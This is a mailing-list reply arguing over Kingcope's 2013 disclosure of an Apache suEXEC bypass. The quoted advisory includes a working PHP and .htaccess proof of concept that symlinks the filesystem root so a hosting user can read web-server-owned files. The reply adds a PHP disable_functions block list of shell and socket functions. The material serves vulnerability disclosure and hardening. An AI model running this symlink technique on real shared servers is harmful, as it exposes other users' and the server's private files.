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Re: Apache suEXEC privilege elevation / information disclosure
From: Reindl Harald <h.reindl () thelounge net>
Date: Fri, 09 Aug 2013 12:59:26 +0200


Am 09.08.2013 09:29, schrieb Kingcope:
So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell 
People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet 
today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs 
to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One.

The above php script will simply create a symbolic link to '/'
A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid

if the script is possible to do so the admin did not his homework
on shared servers have symlink amd system-functions to be disabled

period

disable_functions  = "exec, passthru, shell_exec, system, proc_open, proc_close, proc_nice, proc_terminate,
proc_get_status, pcntl_exec, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,
posix_setuid, mail, symlink, link, dl, get_current_user, getmypid, getmyuid, getrusage, pfsockopen, socket_accept,
socket_bind, openlog, syslog"

Am 07.08.2013 um 21:49 schrieb king cope <isowarez.isowarez.isowarez () googlemail com>:

Apache suEXEC privilege elevation / information disclosure

Discovered by Kingcope/Aug 2013

The suEXEC feature provides Apache users the ability to run CGI and SSI programs
under user IDs different from the user ID of the calling web server. Normally,
when a CGI or SSI program executes, it runs as the same user who is running the
web server.
Used properly, this feature can reduce considerably the security risks involved
with allowing users to develop and run private CGI or SSI programs.

With this bug an attacker who is able to run php or cgi code inside a web
hosting environment and the environment is configured to use suEXEC as a
protection mechanism, he/she is able to read any file and directory on the file-
system of the UNIX/Linux system with the user and group id of the
apache web server.

Normally php and cgi scripts are not allowed to read files with the apache user-
id inside a suEXEC configured environment.

Take for example this apache owned file and the php script that follows.

$ ls -la /etc/testapache
-rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
only user www-data should be able to read this file.

$ cat test.php
<?php
       system("id; cat /etc/testapache");
?>

When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)

because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions error.

Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks

and a php script with the content...

<?php
       system("ln -sf / test99.php");
       symlink("/", "test99.php"); // try builtin function in case when
                                   //system() is blocked
?>
in the same folder

..we can access the root filesystem with the apache uid,gid by
requesting test99.php.
The above php script will simply create a symbolic link to '/'.

A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid

The reason we can now read out any files and traverse directories owned by the
apache user is because apache httpd displays symlinks and directory listings
without querying suEXEC.
It is not possible to write to files in this case.

Version notes. Assumed is that all Apache versions are affected by this bug.

apache2 -V
Server version: Apache/2.2.22 (Debian)
Server built:   Mar  4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded:  APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Architecture:   32-bit
Server MPM:     Worker
 threaded:     yes (fixed thread count)
   forked:     yes (variable process count)
Server compiled with....
-D APACHE_MPM_DIR="server/mpm/worker"
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=128
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"

Cheers,
/Kingcope

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